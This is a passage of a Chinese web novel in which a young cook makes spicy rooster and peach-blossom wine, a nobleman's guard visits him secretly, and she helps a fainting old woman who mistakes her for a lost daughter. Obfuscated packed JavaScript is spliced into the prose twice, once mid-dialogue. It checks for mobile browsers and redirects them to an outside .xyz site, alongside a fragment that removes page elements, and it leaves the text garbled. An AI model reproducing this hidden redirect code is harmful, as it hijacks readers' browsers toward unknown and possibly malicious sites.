“这就好看啦，快吃吧，再好看的东西也比不上吃到嘴里呀。”顾宛央笑着说道，把卖相做好只是为了吃的时候更赏心悦目一些，关键还是得吃。 说完，顾宛央低头舀起一勺小圆子吃了起来，酒酿浓郁甜润、小圆子软糯筋道、汤汁清爽香甜，这一口下去整个人都温暖了起来。 李瑾修看着手中的小圆子出神，在他很小的时候，在舅父家也吃过舅母做的红豆沙小圆子，虽然颜色口味并不一样，但他好像吃出了相同的味道，嗯，这一定是错觉。 “怎么了？不合你胃口？”顾宛央见李瑾修只吃了一口便愣住发呆，不由忍不住问道。 “哦，没，没有，很好吃。”李瑾修反应过来，答了一声，继续吃碗中的小圆子。 试做成功，明天早上给工匠们就这么煮！顾宛央心情不错地将剩下的小圆子全部吃完。 晚上给工匠们做完晚饭，顾宛央饭也没吃地就赶回了小院，小公鸡等着她来爆炒呢！好久没吃这道菜了，顾宛央也馋了，打算晚上跟李瑾修一起吃！ 李瑾修现在完全不用装伤没好了，想跑就跑想跳就跳，他见到顾宛央推开院门，一个箭步就迎了上去，殷勤地说道：“需要帮忙吗？” 顾宛央见李瑾修这么想表现，指了指小院墙角那堆柴火说道：“你要是身体可以的话，把那些柴火劈了吧。” “劈柴火？怎么个劈法？？”李瑾修问道。 哎，真是个没干过活的人，顾宛央叹了口气，不过教他一下，倒是可以拥有一个免费的壮丁。 顾宛央走到墙角，拿起一根粗壮的柴火竖着放稳，再用两只手握住柴刀举到最高处，然后用力往下一劈，只见粗壮的柴火直接被劈成两半，顾宛央捡起那两半柴火竖好，继续劈开。 “看，劈成这个粗细就差不多了。”顾宛央指着地上几根劈好的柴火说道。 “嘿，这么简单，交给我了！”李瑾修撸起袖子，看样子还挺容易的嘛，他躺了那么多天不动了，正需要锻炼锻炼呢。 顾宛央看着李瑾修照着她的样子摆好柴火，并且劈柴姿势也是一样，就是一刀劈下去柴火蹦了开来，完好无损地躺倒在一米开外的地上。 李瑾修看了看地上的柴火再看了看顾宛央，有些尴尬。 “没事，再来，你完全靠着蛮力，要用巧力，不能直愣愣地用全部的力气砸向柴火，到快接近柴火的时候收一下力，稳一点劈下去。”顾宛央纠正他的动作和问题。 李瑾修照着顾宛央的指点，再次劈向竖立的柴火，这次果然一劈为二，相当的精准。 不错嘛，是个聪明人，顾宛央心想这么快就掌握诀窍了，她开口说道：“就这么劈，我去做饭了。” “去吧去吧。”李瑾修沉浸在劈柴成功的喜悦中，这还挺有意思的。 顾宛央转身走进厨房，赶紧烧火做饭炒菜去。小公鸡是小桃下午就处理好了的，因为是新鲜的活鸡，所以不用焯水，顾宛央只需将其斩成小块即可。 这道菜的鸡块不能斩得太大，拇指大小的鸡块才能更加入味，顾宛央将刀磨得锃亮，剁起鸡来哐哐作响，没多一会，整只小公鸡便剁好了。 把剁好的鸡块用料酒和酱油腌制一刻钟，正好趁这个时间做饭和准备配菜，把红色小米椒挑几根出来切成末，再把其他的红色小米椒和青色线椒切成小圈圈，干红辣椒切段，再把葱姜蒜切成碎末，摘一把芹菜杆切成小段，配菜就准备完成。 李瑾修能吃辣，顾宛央本也就是个无辣不欢的人，前段时间因为他要养伤，顾宛央做的菜和汤都比较清淡，下午问他能不能吃辣的时候，李瑾修的头点的跟小鸡啄米似的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾宛央一进厨房就把花生米清洗好并浸泡着，在切配菜的时候将花生米捞出来沥干水分，现在准备开始油炸，炸花生米得用宽油，不过炸完的油可以再用来做菜，倒也不会浪费。 将花生米冷油下锅，烧小火让它慢慢地加热，用铲子不停地搅拌锅中的花生米，确保花生米均匀受热不至于外糊内生。 等到锅中的花生米慢慢变成金黄色，香气也越来越浓郁的时候，花生米便是炸好可以出锅了。 刚出锅的花生米趁热撒上一些白酒，搅拌过后再撒上些许盐，便可以开吃了，这样做的花生米会更加酥松香脆，也不容易回潮，可以放置好几天。 做完这些，灶上的米饭也蒸熟了，顾宛央侧耳听了听，小院里依旧传来“砰砰砰”的劈柴声，不由惊叹年轻人到底是体力好，都劈了这么久了还在劈！ “可以吃饭了。”顾宛央端着托盘走出厨房门，说道。 李瑾修将最后一根柴火劈完，一回头就看到顾宛央手上端着那诱人的小公鸡和花生米，顿时把柴刀一扔，赶紧洗手去了。 33. 第 33 章 顾宛央端着托盘走进西厢房，这家伙把酒藏在自己的卧房里，还得让他自己去拿。 李瑾修快速地洗好手跟着进了西厢房，他刚刚看到托盘上有两个杯子，所以很自觉地就走进卧房，拎了一坛酒出来，自觉给两个杯子倒满。 “宛央，多谢你还有桂花婶、张婶一家，还有水生叔的救命之恩，一直没好好感谢，这一杯酒敬你们。”李瑾修端起酒杯说道。 额，我只是想就着下酒菜喝点小酒而已，这人倒还敬上了，顾宛央心里虽然这样想，但还是端起了酒杯，说道：“客气了。” 顾宛央说罢，一饮而尽，李瑾修见状也一饮而尽，继续倒上。 顾宛央看他又端起了杯子想说话，赶紧开口道：“这是小米椒爆炒小公鸡，趁热尝尝，你说爱吃辣，我可是放了很多辣椒的。” 说完，顾宛央夹了一块小公鸡尝了起来，见顾宛央已经开吃，李瑾修也放下酒杯，拿起筷子夹了一块鸡翅的部位，一整只鸡翅已经被顾宛央剁成了几段，小小的鸡翅被李瑾修一口吃进嘴里。 鸡翅刚一入口，李瑾修便暗想这也不辣嘛，还有点甜丝丝的味道呢，鸡翅包裹着芹菜辣椒以及各种调味料的香味，在口腔中散发开来，一口咬下去，外表焦脆、内里鲜嫩多汁，汁水多的都爆了开来，由于鸡块斩的小，所以所有的味道都渗透了进去，非常入味。 等一口鸡肉下肚，李瑾修慢慢感觉到辣意在嘴里开始蔓延，从一开始的舌尖到整个舌头，仿佛被蚂蚁咬过一样微微痛楚起来，没过一会，微痛就变得跟针扎了似的，辣的李瑾修一口将杯中的桃花酿饮尽。 顾宛央也有同样的感觉，这小米椒够味，不过被香甜的桃花酿一中和，倒是还好，解了大半的辣味。 这道菜妙就妙在越吃越香，从一开始的微微辣吃到后面辣的冒汗，顾宛央吃得非常开心，鼻尖微微冒汗，脸颊也因为吃了辣的而变成了粉红色。 李瑾修虽然注意力全在眼前的小公鸡上，但偶尔抬了一眼，便看到对面顾宛央的脸色白里透着红，肌肤像是透明般的白嫩，不由呆了呆，这么好的皮肤他印象中还是第一次见。 顾宛央见李瑾修盯着她的脸看，不自觉地用手抚了一下脸颊，奇怪地问道：“我脸上有脏东西吗？” “没，没有。”李瑾修结巴了一下，忙低头假装倒酒，哪只酒杯是满的，于是他赶紧又把酒杯端起来一饮而尽后接着倒。 顾宛央吃得正开心呢，也就没管他奇奇怪怪的动作，一边喝着小酒一边吃着小公鸡和花生米，别提多爽了。 “没想到你还挺能吃辣的。”顾宛央有些意外。 “我祖母尤喜辣食，所以跟着祖母吃惯了的。”李瑾修吃了一颗花生米说道，嗯，花生米又脆又香，火候掌握非常好，他就喜欢吃这种焦香焦香的口味。 “瑾修，你现在身体都恢复的差不多了，是不是该回家了？”顾宛央一边惬意地吃着喝着，一边随口问了一句。 正夹了一颗花生米准备送进嘴里的李瑾修，听到这话花生米啪一声掉在了桌上，滚落到了地上，李瑾修掩饰地笑了一下说道：“不回，我走了你不就少赚一份，哦不，两份工钱了。” “嗯？”顾宛央抬眸看向李瑾修。 微醺的顾宛央眸中带着些许迷离，长长的睫毛在灯光映照下眨了几下，这才反应过来，如小狐狸般狡黠笑道：“哦，是了，两份工钱呢。” 李瑾修心跳有些加速，心中暗想这桃花酿果真还是有些酒劲的，居然有些上头了，心跳加快脸也有些发热。 “那好吧，为了这两份工钱，我就不赶你走了。”顾宛央嘴角微微上扬，慵懒地说道。 “那一言为定，不许反悔！”李瑾修立马说道。 此时，屋顶“咔嚓”一声轻微响，顾宛央疑惑地抬头看向屋顶，喃喃自语：“这是什么声音？” 李瑾修侧耳一听，微微皱眉，正想说话，就听得外头“喵”的一声猫叫。 “哪来的野猫。”顾宛央轻声说道。 “现在天气越来越暖，野猫也就都出来活动了，不奇怪。”李瑾修说道。 顾宛央轻轻点头，也亏得有这些野猫抓老鼠，这才不会有鼠患。 “你继续吧，我得回屋休息了，你也不要喝太多了，身体才刚刚恢复。”顾宛央不贪杯，喝至微醺即可，这个状态是最舒服的，晚上能睡个好觉了。 李瑾修站起来想送顾宛央回东厢房，顾宛央摆摆手让他坐着继续吃，自己慢慢地走了出去。 看着顾宛央走进东厢房关上门，李瑾修这才慢慢坐了下来，他继续倒了杯桃花酿，端起来把玩了一会杯子，一小口一小口地喝了起来。 夜慢慢深了，东厢房的灯光熄灭了，月光透过西厢房的门洒了进来。 “出来吧，人都睡了，还躲着干什么！”李瑾修突然低声说道。 只听得一声轻响，房顶窜下来一个黑影，闪身进了西厢房。 “门关上。”李瑾修坐着岿然不动，低声吩咐。 黑影小心翼翼地关上门，转身便跪倒在地：“拜见王......少主。” “起来。”李瑾修说道。 黑影乖乖地站了起来。 “郑奎，你来做什么，不是说了不要来找我吗！”李瑾修原本闲散的气质一扫而空，让人陡然有种无形的压迫感。 “少主，是主母派属下来的。”郑奎恭恭敬敬地答道。 “你把我的飞鸽传书给母亲看了没？”李瑾修问道。 “已经呈给主母过目了，主母不放心，让属下来确认少主是否无碍。”郑奎答道。 “哼！若不是你今日不小心踩了房顶的瓦片，我还不知道你要监视我多久！”李瑾修怒道。 “冤枉啊少主，我也是刚刚打探到您在此地，正想晚上等人都睡了再拜见您的，何来监视。”郑奎有些委屈，少主只是飞鸽传书说自己在外游玩，让家里不要担心，却不肯说出在哪，但主母派他来，只能跟着飞鸽的大致方向辛辛苦苦地找来了。 听得郑奎这样说，李瑾修绷着的身体微微松弛了一些，挥了挥手说道：“算了，母亲有什么交待的吗？” “主母让你玩够了就早些回去。”郑奎偷偷看了李瑾修一眼，立马垂下眼神说道。 “你回去禀告母亲，知道了。”李瑾修淡淡地答道。 “是。”郑奎松了口气，总算是有了回复，回去对主母也算有个交待了。 “吃饭了没？”李瑾修问道。 “啃了干粮。”郑奎说道。 李瑾修脸色有所松动，虽然郑奎是他的侍卫，但他从小与自己一起长大，陪伴他读书习武，一路走来感情深厚，内心早已当他是兄弟，听他讲述地如此可怜，不由开口说道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882300|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐下来，吃点吧。” “诶，多谢少主。”郑奎趴在房顶的时候，早已被下面的酒菜馋的不行，听到李瑾修这样吩咐，赶紧就想找地方坐。 “等下，坐我旁边。”李瑾修见他直奔对面原来顾宛央的位置，赶紧抬手阻止。 “哦，好。”郑奎虽不明所以，但依旧很听话地换到李瑾修的旁边。 “哎呀，我去拿副碗筷。”郑奎刚坐下发现没有筷子，于是站起来说道。 “你坐下，用我的。”李瑾修说道，宛央喜干净整洁，万一这厮给翻乱了什么东西，估计明天挨骂的还得是自己。 郑奎看着李瑾修掏出一块帕子擦了擦筷子，给自己递了过来，有些傻眼。 “怎么，嫌弃吗？”李瑾修白了一眼郑奎道。 “不不不，不敢。”郑奎连说了几个“不”，赶紧接了过来。 郑奎是真馋了，这些日子也没好好吃饭，夹起小公鸡就往嘴里炫。 “斯哈，斯哈，好辣，但是好香好吃！”郑奎边吃边说道，还不停地用手往嘴里扇风。 “慢点吃，急什么。”李瑾修见他辣的直跳脚，但又不肯放下手中筷子，本不舍得匀给他喝的，但最终还是给他倒了一杯桃花酿，说道：“桃花酿解辣，喝点。” 郑奎赶忙双手接过，喝了一小口，香甜的味道便弥漫了整个口腔，果然有了这口桃花酿的滋润，辣的快要冒火的嘴巴稍微缓解了一点，郑奎赶紧又喝了一口，这下舒爽多了。 “你慢点喝，我就剩这么一点了。”李瑾修看着酒少了一大半，有点心痛。 郑奎连忙点头，少主可真会吃，不对，这都是刚刚那位姑娘做出来的吧，她可真会做啊。 “少主，刚刚听那位姑娘说您身体恢复什么的，您生病了？”郑奎吃的差不多后，问道。 李瑾修脸上短暂闪过一丝心虚，说道：“生什么病，有些不适而已，现在都已经好了。” “少主啊，前些日子您说要散心，带了我们来这齐中县游玩，没想到您一个人又偷偷跑了出去，害的我们找了好几天，您不知道我们有多担心嘛，幸亏收到飞鸽传书，否则不知怎么跟主母交待。”郑奎吃饱了，开始唠叨起来。 “嗐，担心什么，我这么大一个人了，怕什么。”李瑾修虽然嘴上强硬，但内心还是虚的，他没敢告诉母亲他为了追一只猎物，而坠入山崖的事情，被她知道了那还得了，以后都别想溜出来了。 “对了，少主，我刚刚看见跟您一起吃饭的那位宛央姑娘，我好像在城西村见过，那时候我带着人还去她家找过，您什么时候跟她遇上了。”郑奎疑惑地问道。 李瑾修暗叹糟糕，可不能说那时候他在宛央家养伤，只得含糊其词：“偶然遇上，吃过她做的东西，觉得好吃就索性雇了她给我做饭吃。” “原来是这样啊。”郑奎也没多想，少主说是啥就是啥，他又小心翼翼地开口：“少主，我可不可以跟在您身边？” “不行。”李瑾修斩钉截铁地答道。 “那我暗中保护您吧，我不现身。”郑奎小声地争取着。 “不行，你离我远点，我有事自会飞鸽给你。”李瑾修一点都不松口。 “好吧。”郑奎只能应道。 李瑾修见郑奎吃饱了便催着他离开，一直盯着他的身影消失在夜幕中，这才安心地关门准备休息了。 34. 第 34 章 果然不出所料，顾宛央做的酒酿小圆子，受到了工匠们的一致好评，都说一早上就吃到甜的食物，一整天都有力气干活了。没人提出不好吃就好，不然徐工师那里也不好交代。 送桃花酿到酒肆已经有两三天了，顾宛央打算下午去酒肆看一下，售卖的情况如何，若是卖不掉就拿回来，李瑾修老磨着她再做一些，反正在酒肆卖和卖给李瑾修她都能挣钱。 下午天气不错，顾宛央就带着小桃出了门。 酒肆所在的那条街，左右全都是铺子，顾宛央见有卖桃花糕的铺子，拉着小桃走了进去，时令糕点不能错过，今年应是来不及做了，所以买来尝尝也行呀。 这家是点心铺子，糕点和果子摆满了整个铺子，虽然铺子不大，但也算是种类齐全的。 桃花糕因是时令糕点，所以是摆放在最外面的，桃花糕小巧粉嫩、面上还刻着一朵小桃花，顾宛央一眼就看中了，让老板称了一斤。 顾宛央递给小桃一块，自己拿了一块，闻了闻后就吃了起来。 确实有些桃花的香气在的，只不过这个糕做的有点粘牙，不是很松软，稍微放多了点糖，有些腻味，但总的来说还算是可以入口的。 小桃吃了一个桃花糕下去后，直说：“这糕吃着还行吧，但肯定没有宛央姐你做的好吃！” 顾宛央不禁好笑，说道：“你又没吃过我做的桂花糕，你是怎么知道的？” “我就是知道呀，宛央姐你做什么都很好吃。”小桃歪了歪脑袋，灿烂地笑道。 “那等有时间了，我做给你吃。”顾宛央被小桃无条件的信任温暖到了，忍不住说道。 “好啊，太好了。”小桃拍手说道。 “走吧，去前面酒肆。”顾宛央笑着说道。 顾宛央刚刚在酒肆露了个面，酒肆老板就看到她了，赶忙迎出来说道：“这不是巧了嘛，我刚好想今天下午派伙计去给你说一声的呢，你送来的桃花酿都卖完了！” “真的啊？”顾宛央有些意外又有些欣喜地问道。 “那可不嘛，第一天就卖了一小半，第二天就剩了一小半，今天一大早就被人全部买走了。”酒肆老板高兴地说道。 “那挺好，能卖出去就好。”顾宛央也笑着答道。 “岂止是能卖出去，简直就是供不应求，我正想跟你商量呢，能不能再做一批放我这里售卖呢？”酒肆老板见顾宛央开心，赶紧提出要求来。 “做是能做，主要是上山摘桃花很费时间，我最近在文庙做工都没时间，没法去山上摘桃花，要是有现成的桃花的话，那做起来也不难。”顾宛央说道。 酒肆老板一听，立马说道：“摘桃花好办啊，我这店里有伙计，我安排他们去摘回来送去文庙，你来负责做就成。” 顾宛央听了酒肆老板这个法子，倒是觉得可以操作，于是点头说道：“若是如此，自然是可以的。” 酒肆老板听了大喜，说道：“那就这么说定了，我让伙计现在就去摘桃花，晚一些给你送到文庙去。” “行，把酒坛和糯米也一起送来。”顾宛央说道，没想到这老板还是个说干就干的人呢。 “没问题，顾姑娘你先进来，我把这两天的账先结给你。”酒肆老板一边说着，一边把顾宛央请了进去。 酒肆老板还指望着顾宛央给他供酒，寄卖酒水的钱是一分不少，显得非常的爽气。 顾宛央拿到了银子，心中也是非常的高兴，虽然并不是太多，但积少成多，她看着袋中刚收到的银子，仿佛就看到不久的将来可以开起来的小饭馆。 顾宛央和小桃两人从酒肆中走出来，刚没走出几步路，就看到十米开外的地方围了一圈人。 顾宛央本不想凑热闹，但小桃拉着顾宛央直奔热闹而去，顾宛央正想跟小桃说不要过去的时候，却意外地发现一个熟悉的身影，是鲁工师的夫人蹲在人群中间，正扶着一位倒地的五十岁左右的老妇人的上半身。 顾宛央反手拉着小桃就钻进了人群，小桃被她大力一拉踉跄了一下，她有些意外地看向顾宛央，原来宛央姐也是爱凑热闹的人啊！ “鲁夫人，怎么了？”顾宛央蹲下身子，问道。 “顾姑娘？是你？”鲁夫人也顾不上客套，她焦急地说道：“我刚刚在这里碰到陈大娘，还没聊上两句话呢，她就晕倒了。” 顾宛央看向双目紧闭的陈大娘，见她脸色苍白、满脸都是汗，这个天气虽然已经不冷了，但也不至于出汗，顾宛央见过低血糖晕倒的人，就是这样的症状，于是她伸出手来直接掐陈大娘的人中。 只听得一声叹，陈大娘悠悠醒转，顾宛央马上对身后的小桃说道：“小桃，拿块桃花糕给陈大娘吃。” “顾姑娘，现在给陈大娘吃东西不妥吧。”鲁夫人担心的说道。 “无妨，鲁夫人，先看陈大娘能吃得进去不。”顾宛央说道。 鲁夫人也没有其他法子，只能点头让小桃将桃花糕喂到陈大娘嘴里。 桃花糕一碰到陈大娘的嘴，她便张嘴咬了一大口，闭着眼睛慢慢咀嚼着。 顾宛央见陈大娘能吃得进去，而且看上去很饿的样子，便松了一口气，是低血糖引发的头晕，补充糖分就没事了，恰好这桃花糕甜得很。 等到陈大娘将一块桃花糕全部吃下去，很快便恢复了意识，顾宛央和小桃一起将陈大娘扶了起来，围着看热闹的人一看人没事了，也就很快散开了去。 “多亏遇见了顾姑娘，否则只能请人帮忙抬去医馆，这得耽误不少时间。”鲁夫人说道。 陈大娘虽然清醒了过来，但依旧是浑身无力说不出话来，只是微微颔首向她们表示感谢，陈大娘的眼神一直就在顾宛央脸上打转，似乎有话想说但又说不出话来。 “鲁夫人，不必客气，陈大娘没事就好。”顾宛央客气地说道：“陈大娘家住何处，我们可以帮忙送回家中。” “不麻烦顾姑娘，我送陈大娘回家就行。”鲁夫人说道。 “不麻烦，您一个人送恐怕不行，不如让我跟小桃一起搭把手。”顾宛央说道，看她一人搀扶陈大娘已是吃力，更别说还得走一 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小桃见状，也赶忙扶起陈大娘的另一支胳膊，两人力气都挺大，所以架着陈大娘走起来还算是轻松，陈大娘虽浑身无力，但有两人的扶助，脚上还是可以稍微用力地走动的。 好在陈大娘家离得并不远，约摸走了十分钟便到了，鲁夫人敲开陈大娘家的门，是一个五十多岁白发苍苍的老头开的门。 “这，这是怎么了？”老头一开门就看见陈大娘的样子，惊慌地问道。 “陈大爷，陈大娘在街上晕倒了，恰好这两位姑娘遇见，把她救醒了过来。”鲁夫人忙安慰道。 “哦，哦，快，快进来。”陈大爷赶紧接过陈大娘，一边将她扶进堂屋，一边招呼大家进来。 “既然安全送到家，我们就不进去了，陈大爷，您得空还是得请大夫过来给陈大娘瞧瞧，另外陈大娘以后如果出门，身上备些甜点之类的，或许有用。”顾宛央说道。 “那我也不进去了，陈大爷，您好好照顾陈大娘，我们先走了。”鲁夫人也站在门口说道。 “好，好，那谢谢你们了。”陈大爷把陈大娘扶到椅子上坐好，他担心老伴的身体，也就不留客人坐了。 顾宛央几人见打过招呼了，便想转身离去，但没想到陈大娘突然挣扎着叫了一声：“顾姑娘，请留步。” 所有人都愣住了，顾宛央停下已经迈出去的脚步，有些疑惑地转身，看向目光紧紧盯着自己的陈大娘，不由地问了一声：“陈大娘，喊我？” 这时，陈大爷也看向了顾宛央，他刚刚的注意力全在陈大娘的身上，这下看过去，也愣住了， “你，你是？”陈大爷不由自主地走向顾宛央，眼神里充满着不可置信。 “陈大爷，这位是顾姑娘，现在在文庙工事做厨师。”鲁夫人也有点不知所措了，这两位老人这是怎么了？ 陈大爷反应过来，有些歉意地说道：“顾姑娘别介意，我和老婆子只是看你长得像我家女儿，所以才请顾姑娘留步的。” 鲁夫人一听此话，也顿时愣住了，眼神直往顾宛央脸上看过去。 35. 第 35 章 顾宛央不明所以，这一个两个的怎么回事，就算自己长得像陈大娘的女儿，那也不用这么严肃啊。 见顾宛央一脸疑惑，鲁夫人轻咳了两声，解释道：“陈大爷和陈大娘的独女，十几年前去世了。” 哦，天哪，原来是这样，但顾宛央也不知道该说什么，只是眼神温柔地看向陈大爷。 “顾姑娘，来，屋里坐会，你陈大娘想是有话跟你说。”陈大爷有些祈求地说道。 顾宛央犹豫了一会，还是跟着陈大爷进了堂屋。 “鲁夫人，您认识顾姑娘，您也一起来坐坐吧。”陈大爷见顾宛央进来了，对鲁夫人也祈求道。 鲁夫人想了想，也就跟着一起进来了，她没见过陈大爷家的女儿，一是那时候她年纪也不大，二是因为陈大爷和陈大娘是一直在外面做生意的，是女儿去世后才回来的老家。 今天顾宛央跟他们有这份渊源，也算是缘分，鲁夫人心善，她也希望两位老人能有所安慰。 陈大娘歇了这阵子，又见到顾宛央进来了，精神也比刚刚好多了，她指挥着陈大爷搬凳子，泡茶，还把家中的果子干果都拿了出来，硬往顾宛央和小桃还有鲁夫人手里塞，在她看来，这三人都是孩子。 “吃，吃啊，这些都是刚买的，平日里邻居家的孩子来玩，我们总会备着这些零食。”陈大娘虽然有些虚弱，但精神状态非常不错，脸上布满了笑容。 “对，快吃，多吃些。”陈大爷也在一旁说道。 鲁夫人和顾宛央放下被陈大娘塞了满手的零食，只是各自轻捻了一个果子，细细品尝着，而小桃左手果子右手干果，被塞了满满两手，却不舍得放下，大口地吃了起来。 “顾姑娘，听你的口音不像本地人吧？”陈大娘率先打开话匣子。 顾宛央也知道两位老人自然想了解多些自己的情况，于是也就把自己的情况说了出来：“我不是本地的，我是从南边吴州过来的流民，现在被安置在城西村。” 显然陈大爷和陈大娘没料到顾宛央是流民，他俩对视了一眼，不过眼中不是常人那种听到流民两个字的嫌弃，而是满眼的心疼。 顾宛央自然能感受到他们的情绪，她笑着开口道：“虽说是流民，但也没饿着没冻着，不仅如此，还得了鲁工师的推荐，现在文庙做工呢。” “是啊，顾姑娘很能干，她独自一人早上很早就出来摆摊，恰巧被我家老爷买到尝过，正好前些日子文庙工事缺厨师，便推荐顾姑娘去了。”鲁夫人也笑着补充。 “哦，出早摊啊，从城西村到城里，得走不少路吧，那得起多早啊，很辛苦啊。”陈大娘心疼地说道。 “不辛苦，摆摊可以赚钱，大家也都爱吃我做的早点，倒还挺开心的。”顾宛央实话实说，没钱的日子，哪有时间去矫情，赚钱才是最快乐的。 “那顾姑娘的父母，也是在城西村吗？”陈大娘问道。 顾宛央犹豫了一下，坦诚相告：“我父母在很小的时候，就都去世了。” “哎呀，可怜的孩子。”陈大娘更加心疼了，再想起自己的女儿，眼眶都红了起来。 “陈大娘，没事的，你们看我现在不是挺好的嘛！”顾宛央赶紧安慰道。 “是啊，是啊，陈大娘，你别激动啊，身体要紧。”鲁夫人也忙劝慰道。 “就是，别说这些伤心的事情了，我们跟顾姑娘能遇上便是缘分，上天听到了我们的挂念，才送顾姑娘来见我们的。”陈大爷说道。 “诶，对了，顾姑娘长得跟你们女儿很像吗？”鲁夫人也很好奇，天底下有相像的人也是正常的，就不知道有多像。 “像，至少有七八分像吧，体态神情都相似着呢。”陈大娘不停地打量着顾宛央。 “顾姑娘多大年纪了？”陈大叔问道。 “十八。”顾宛央答道。 “唉，年纪也相仿。”陈大娘叹息道。 “这倒真是巧了。”鲁夫人也觉得很巧合。 “顾姑娘，今后你有什么难处，尽管来找我们，今天也算认过门了，你在这里无亲无故的，若是不嫌弃或者得闲了，就常来坐坐。”陈大娘说完，渴求地看着顾宛央。 面对两位老人的请求，顾宛央做不到硬起心肠拒绝，她点头说道：“好。” 一个简单的“好”字，就让老两口乐开了花，满是皱纹的脸上露出又悲又喜的表情来。 鲁夫人估摸了一下时辰，开口说道：“陈大爷，陈大娘，顾姑娘还得去文庙做工，我们就先走了。” 顾宛央也是想着该走了，没想到鲁夫人先替她提了出来，不由感激地看了她一眼。 “哦对，不能耽误你们的事情了，那我送送你们。”陈大爷马上站起来说道。 “不用了，陈大爷，你照顾好陈大娘，我们自己出去就行了。”顾宛央婉拒道。 “那你们慢点走。”陈大娘关切地嘱咐道。 顾宛央点点头，带着小桃随着鲁夫人走出了陈家的大门。 出了大门，鲁夫人感慨道：“没想到今天会碰上这么巧的事情。” “鲁夫人，陈大爷和陈大娘的女儿十几年前就过世了，那岂不是还很年轻？”顾宛央问道。 “可不就是嘛，陈大爷年轻的时候就去了外面做生意，在外头娶了媳妇，两人只生了个独女，没想到这孩子命薄，十六岁的时候就染了重疾去世了，陈大爷和陈大娘悲痛不已，把外头的生意都了结后，回到老家这里买了几个铺子租出去，两人就靠着收租子相依为命在此地生活了十几年了。”鲁夫人叹息道。 “原来是这样。”顾宛央点点头，中年丧女，那该是多悲痛的事情，怪不得两人看上去这么苍老，应该是心情抑郁悲痛有很大关系。 “鲁夫人你是怎么认识他们两人的？”顾宛央问道。 “我家老爷那时候就已经管着全县的工事了，他手底下工匠多，陈大爷刚回家那会，这间老宅破的不像样了，他们就求到了我家老爷那里，想请帮忙找些工匠来修葺，这一来二回的，我家老爷也跟我说了这事，也得知他们两人的事情，等房子修葺好了陈大爷和陈大娘来家里感谢，这就认识了，也来往了十几年了。”鲁夫人说道。 “鲁夫人真是心善，平日肯定不少探望他们。” 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顾宛央也是尽心尽力，想尽办法尽量让工匠们能多吃点荤菜，吃得饱才能有力气干活！ 文庙的工作是越做越顺手，但早点摊子的老顾客们已经有些意见了，因为她好久没有推出新品种早点，老客们也知道顾宛央最近在忙着做工，不好意思硬要求增加品种，但总是有意无意之间提醒顾宛央：“有没有新的品种呀”、“这饭团好吃是好吃，但每天总吃这一种，就想换换口味呀”等等。 顾宛央前些日子顾不上早点摊的老客，但最近文庙膳堂上手了以后，就想着是得换换品种卖了，毕竟文庙这边活计结束后，还得靠着摊子或者店子挣钱呢，得维护好这些老客们。 临近清明的天气，没有前些日子的大太阳了，总是有些阴雨绵绵，顾宛央忙完了午饭，坐在院子望着阴沉沉的天空发呆放空，这样的天气总是让人有些抑郁。 “宛央姐，在干嘛呢。”小桃爽朗的声音在顾宛央耳边响起。 “坐着歇会。”顾宛央看向小桃，这孩子成天都是这么的开心，从未见她烦恼过，真是羡慕这样的性格。 小桃兴冲冲地搬了一个凳子到顾宛央身边，也坐了下来，学着她的样子望向天空。 “你在干嘛呢。”顾宛央忍不住问道。 “我看看天上有什么好看的东西呀，不然宛央姐怎么看得这么出神。”小桃依旧抬着头望天说道。 “别闹，我在想事情呢。”顾宛央用手指轻轻推了小桃的脑袋一下，其实她只是想放空一下，还来得及想什么。 “哦？想什么事情呢？”小桃饶有兴趣地把目光投向顾宛央。 顾宛央想了想，就把早点摊子要新增品种的事情告诉了她：“最近早点摊子的老客们想要我做点新品种，我在考虑要做什么呢。” 小桃听了顾宛央的话，手撑着下巴，歪头想了一会，便开口说道：“这个简单，这个时节就做点青团吧！” 顾宛央一听，顿时有些意外，小桃的思维很活跃啊，现在是清明节气，正是吃青团的季节，她不由地朝小桃伸出了大拇指。 36. 第 36 章 小桃见顾宛央对她竖起的大拇指，不由地笑了起来，宛央姐对自己认同，她简直是太高兴了。 “宛央姐，艾草不像桃花长在山上，它就在路边、小河边、田埂边就有，所以我们不用花太多时间去摘艾草，城外路边就有很多。”小桃打开了话匣子，她知道顾宛央空闲时间并不多，所以特别提出采摘不花太多时间。 “嗯，你说的太对了，我没太多时间，照你这样说，采摘艾草却是极方便的。”顾宛央连连点头，小桃考虑问题居然这么周到。 “是的，不过艾草也只有这几天才有，青团也可能维持不了多久。”小桃说道。 “无妨，卖几天青团也够了，这伙老食客们嘴都挑的很，就想吃新鲜玩意，过了艾草的季节我们再想别的新品种。”顾宛央说道。 “那就没问题咯，走，现在就去摘呀！”小桃站起身来，拉起顾宛央说道。 “啊？今天就去啊，来得及吗！”顾宛央被小桃拉的也站了起来，她还没准备好今天就做呢，今天天气阴沉，她啥都不想干。 “来得及，来得及，还早着呢，文庙离城外也不远，能采多少是多少，采完回来就可以做啦，明天就可以卖新品种了。”小桃极力游说顾宛央。 顾宛央看着小桃那张充满朝气的小脸，突然被她所感染了，她摇着头笑道：“你真的是一刻都停不下来，你停不下来就算了，还拉着我一起，真的是牛马的命！” “什么牛马命，我们可比牛马幸福多了，你看我们现在吃得饱穿得暖，干活也不累，做牛马可累了呢。”小桃见顾宛央同意去了，开心地说道。 顾宛央也不跟她争辩了，既然决定现在就去，那得抓紧时间了。 小桃很麻利地拿起两个背篓，一个递给顾宛央，一个自己背上，两人水灵灵地打开门就走了出去。 